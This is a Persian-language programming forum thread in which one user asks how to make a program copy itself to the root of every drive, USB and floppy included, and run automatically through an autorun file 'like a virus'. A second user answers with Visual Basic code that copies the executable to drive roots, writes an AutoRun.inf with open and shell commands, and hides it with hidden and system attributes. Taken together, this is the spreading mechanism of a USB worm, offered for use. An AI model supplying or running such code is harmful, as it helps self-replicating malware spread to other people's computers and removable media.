کپی شدن برنامه در تمام درایوها

[Mohsen_2008]

سلام
من می خوام برنامه ای بنویسم که خودشو توی روت همه درایوها (+USB و فلاپی) کپی کنه و کنار فایل اجرایم یه فایل اتوران هم باشه که کاربر هر وقت که درایوها رو باز کرد برنامه هم اجرا بشه
دقیقا مثل یه ویروس که الان اسمش یادم نیست فکر کنم بلستر بود

[DoctorJay]

یه سوال ساده و تکراری !!!

Search راه خوبیه هااا !!!

نیازی هم به جستجو نیست, چون کار چندان پیچیده ای نیست .

کپی کردن فایل توی روت :


FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\--یا درایو های دیگه--"

عملیات کپی رو می تونی واسه همه ی درایو ها بنویسی و قبل از هر خط

از دستور ON error Resum Next استفاده کنی که خیلی مبتدیانه است,

یا اینکه لیست درایو های سیستم رو بر گردونی و با توجه به اون اینکارو انجام بدی ...

واسه ساختن Autorun :


Open "C:\AutoRun.inf" For Output As #1
Print #1, "[AutoRun]"
Print #1, "open=FileName.exe"
Print #1, "shellexecute =FileName.exe"
Print #1, "shell\Auto\command=FileName.exe"
Close #1

توی ساختن فایل Autorun انعطاف زیادی وجود داره , پست 3# رو یه نگاهی بکن :

http://barnamenevis.org/forum/showthread.php?t=89621&highlight=autorun

حالا ما گفتیم, ولی جستجو کنی بهتره !!!

بعد از ساختن فایل Autorun می تونی این فایل رو مخفیش کنی, یعنی باید اینکارو بکنی :


SetAttr "C:\Autorun.inf", vbHidden + vbSystem

اینم یه نکته ...
.